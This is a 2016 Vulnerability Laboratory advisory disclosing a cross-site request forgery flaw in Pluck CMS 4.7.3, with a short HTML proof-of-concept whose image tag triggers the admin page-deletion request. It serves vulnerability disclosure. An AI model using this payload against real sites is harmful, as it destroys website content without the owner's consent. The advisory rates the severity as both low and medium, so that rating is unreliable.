Pluck 4.7.3 - (Delete File) CSRF Web Vulnerability

2016-10-17T00:00:00
ID VULNERLAB:1980
Type vulnerlab
Reporter ZwX - (http://zwx.fr/) )[http://www.vulnerability-lab.com/show.php?user=ZwX]
Modified 2016-10-17T00:00:00

Description

                                        
                                            Document Title:
===============
Pluck 4.7.3 - (Delete File) CSRF Web Vulnerability


References (Source):
====================
https://www.vulnerability-lab.com/get_content.php?id=1980


Release Date:
=============
2016-10-17


Vulnerability Laboratory ID (VL-ID):
====================================
1980


Common Vulnerability Scoring System:
====================================
3.2


Product & Service Introduction:
===============================
Pluck, also known as pluck-cms, is an open source content management system, written in the PHP scripting language. It allows for webpage creation 
for users with little or no programming experience, and, unlike most content management systems, does not use a database to store its data. Pluck also 
includes a module system, which allows developers to integrate custom functionality into the system.
 
(Copy of the Vendor Homepage: http://www.pluck-cms.org/ )



Abstract Advisory Information:
==============================
An independent vulnerability laboratory researcher discovered a client-side cross site request forgery vulnerability in the Pluck v4.7.3 CMS.


Vulnerability Disclosure Timeline:
==================================
2016-10-17:	Public Disclosure (Vulnerability Laboratory)


Discovery Status:
=================
Published


Affected Product(s):
====================

Exploitation Technique:
=======================
Remote


Severity Level:
===============
Low


Technical Details & Description:
================================
A cross site request forgery web vulnerability has been discovered in the official Pluck v4.7.3 content management system.
The issue allows remote attackers to manipulate client-side browser to web-application requests to execute service functions 
via non-expired session credentials.

The cross site request forgery vulnerability is located in the cms `var1` parameter of the `admin.php` module POST method request.
In the absence of a security token an attacker can execute arbitrary codes against administrator accounts to permanenly delete 
the pages of the website via panel. Due to the infrastructure the issue becomes more critical without a checkbox to confirm the 
delete of any page via panel module.

The security risk of the csrf vulnerability is estimated as medium with a cvss (common vulnerability scoring system) count of 3.2. 
Exploitation of the client-side vulnerability requires no privileged web-application user account and only low user interaction. 


Proof of Concept (PoC):
=======================
The csrf web vulnerability can be exploited by remote attackers without privileged web-application user account and with low user interaction.
For security demonstration or to reproduce the vulnerability follow the provided information and steps below to continue.


PoC: Exploitation
<html>
<title>Delete Pages CSRF</title>
<!-- Cross Site Request Forgery -->
<meta http-equiv="refresh" content="0">
<img src="http://localhost:8080/admin.php?action=deletepage&var1=[VULNERABILITY-LAB]"/>
</meta>
</html>


Reference(s):
http://localhost:8080/
http://localhost:8080/login.php
http://localhost:8080/admin.php
http://localhost:8080/admin.php?action=
http://localhost:8080/admin.php?action=deletepage
http://localhost:8080/admin.php?action=deletepage&var1=


Security Risk:
==============
The security risk of the cross site request forgery web vulnerability in the pluck cms is estimated as medium. (CVSS 3.2)


Credits & Authors:
==================
ZwX -  (http://zwx.fr/)  )[http://www.vulnerability-lab.com/show.php?user=ZwX]


Disclaimer & Information:
=========================
The information provided in this advisory is provided as it is without any warranty. Vulnerability Lab disclaims all warranties, either expressed 
or implied, including the warranties of merchantability and capability for a particular purpose. Vulnerability-Lab or its suppliers are not liable 
in any case of damage, including direct, indirect, incidental, consequential loss of business profits or special damages, even if Vulnerability-Lab 
or its suppliers have been advised of the possibility of such damages. Some states do not allow the exclusion or limitation of liability mainly for 
consequential or incidental damages so the foregoing limitation may not apply. We do not approve or encourage anybody to break any licenses, policies, 
deface websites, hack into databases or trade with stolen data.

Domains:    www.vulnerability-lab.com 		- www.vuln-lab.com 						- www.evolution-sec.com
Section:    magazine.vulnerability-lab.com 	- vulnerability-lab.com/contact.php 				- evolution-sec.com/contact
Social:	    twitter.com/vuln_lab		- facebook.com/VulnerabilityLab 				- youtube.com/user/vulnerability0lab
Feeds:	    vulnerability-lab.com/rss/rss.php 	- vulnerability-lab.com/rss/rss_upcoming.php 			- vulnerability-lab.com/rss/rss_news.php
Programs:   vulnerability-lab.com/submit.php 	- vulnerability-lab.com/list-of-bug-bounty-programs.php 	- vulnerability-lab.com/register.php

Any modified copy or reproduction, including partially usages, of this file, resources or information requires authorization from Vulnerability Laboratory. 
Permission to electronically redistribute this alert in its unmodified form is granted. All other rights, including the use of other media, are reserved by 
Vulnerability-Lab Research Team or its suppliers. All pictures, texts, advisories, source code, videos and other information on this website is trademark 
of vulnerability-lab team & the specific authors or managers. To record, list, modify, use or edit our material contact (admin@) to get a ask permission.

				    Copyright © 2016 | Vulnerability Laboratory - [Evolution Security GmbH]™